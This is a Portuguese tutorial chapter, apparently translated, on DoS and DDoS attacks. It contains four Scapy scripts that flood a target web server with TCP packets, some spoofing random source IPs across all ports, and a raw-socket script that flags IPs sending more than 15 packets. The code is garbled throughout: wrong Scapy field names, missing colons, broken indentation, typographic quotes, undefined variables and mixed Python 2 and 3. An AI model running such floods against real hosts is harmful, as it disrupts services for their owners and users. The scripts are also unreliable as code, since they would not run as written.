Ataque DoS e DDoS

Neste capítulo, aprenderemos sobre o ataque DoS e DdoS e entenderemos como detectá-los.

Com o boom do setor de comércio eletrônico, o servidor da Web agora está sujeito a ataques e é um alvo fácil para os hackers. Os hackers geralmente tentam dois tipos de ataque -

  • DoS (negação de serviço)
  • DDoS (negação de serviço distribuída)

Ataque DoS (negação de serviço)

O ataque de negação de serviço (DoS) é uma tentativa dos hackers de tornar um recurso de rede indisponível. Geralmente interrompe o host, temporária ou indefinidamente, que está conectado à Internet. Esses ataques normalmente visam serviços hospedados em servidores da web de missão crítica, como bancos e gateways de pagamento com cartão de crédito.

Sintomas de ataque DoS

  • Desempenho de rede excepcionalmente lento.

  • Indisponibilidade de um determinado site.

  • Incapacidade de acessar qualquer site.

  • Aumento dramático no número de e-mails de spam recebidos.

  • Negação de longo prazo de acesso à web ou a quaisquer serviços da Internet.

  • Indisponibilidade de um determinado site.

Tipos de ataque DoS e sua implementação Python

O ataque DoS pode ser implementado no link de dados, rede ou camada de aplicativo. Vamos agora aprender sobre os diferentes tipos de ataques DoS &; sua implementação em Python -

Porta única de IP único

Um grande número de pacotes é enviado ao servidor web usando um único IP e de um único número de porta. É um ataque de baixo nível usado para verificar o comportamento do servidor web. Sua implementação em Python pode ser feita com o auxílio do Scapy. O seguinte script python ajudará a implementar um ataque DoS de porta única de IP único -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Após a execução, o script acima solicitará as três coisas a seguir -

  • Endereço IP de origem e destino.

  • Endereço IP do número da porta de origem.

  • Ele então enviará um grande número de pacotes ao servidor para verificar seu comportamento.

Porta única IP múltipla

Um grande número de pacotes é enviado ao servidor da web usando um único IP e de várias portas. Sua implementação em Python pode ser feita com o auxílio do Scapy. O seguinte script python ajudará a implementar um ataque DoS de porta múltipla com IP único -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Porta única com vários IPs

Um grande número de pacotes é enviado ao servidor da web usando vários IP e de um único número de porta. Sua implementação em Python pode ser feita com o auxílio do Scapy. O seguinte script Python implementa um ataque DoS de porta múltipla com IP único -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Multiple IP Multiple Port

Um grande número de pacotes é enviado ao servidor da web usando vários IPs e de várias portas. Sua implementação em Python pode ser feita com o auxílio do Scapy. O script Python a seguir ajuda a implementar um ataque DoS com várias portas e vários IPs -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Ataque DDoS (negação de serviço distribuída)

Um ataque de negação de serviço distribuído (DDoS) é uma tentativa de tornar um serviço online ou um site indisponível, sobrecarregando-o com grandes inundações de tráfego gerado de várias fontes.

Ao contrário de um ataque de negação de serviço (DoS), em que um computador e uma conexão de Internet são usados ​​para inundar um recurso direcionado com pacotes, um ataque DDoS usa muitos computadores e muitas conexões de Internet, muitas vezes distribuídas globalmente no que é conhecido como botnet . Um ataque DDoS volumétrico em grande escala pode gerar um tráfego medido em dezenas de Gigabits (e até centenas de Gigabits) por segundo. Pode ser lido em detalhes emhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Detecção de DDoS usando Python

Na verdade, um ataque DDoS é um pouco difícil de detectar porque você não sabe que o host que está enviando o tráfego é falso ou real. O script Python fornecido a seguir ajudará a detectar o ataque DDoS.

Para começar, vamos importar as bibliotecas necessárias -

import socket
import struct

from datetime import datetime

Agora, criaremos um soquete como criamos nas seções anteriores também.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Usaremos um dicionário vazio -

dict = {}

A linha de código a seguir abrirá um arquivo de texto, contendo os detalhes do ataque DDoS no modo anexar.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Com a ajuda da seguinte linha de código, a hora atual será escrita sempre que o programa for executado.

file_txt.writelines(t1)
file_txt.writelines("\n")

Agora, precisamos assumir os acessos de um determinado IP. Aqui, estamos assumindo que, se um determinado IP estiver atingindo por mais de 15 vezes, então será um ataque.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

A seguinte linha de código irá verificar se o IP existe no dicionário ou não. Se existir, será aumentado em 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

A próxima linha de código é usada para remover a redundância.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Após executar o script acima, obteremos o resultado em um arquivo de texto. De acordo com o script, se um IP for atingido por mais de 15 vezes, ele será impresso quando um ataque DDoS for detectado junto com esse endereço IP.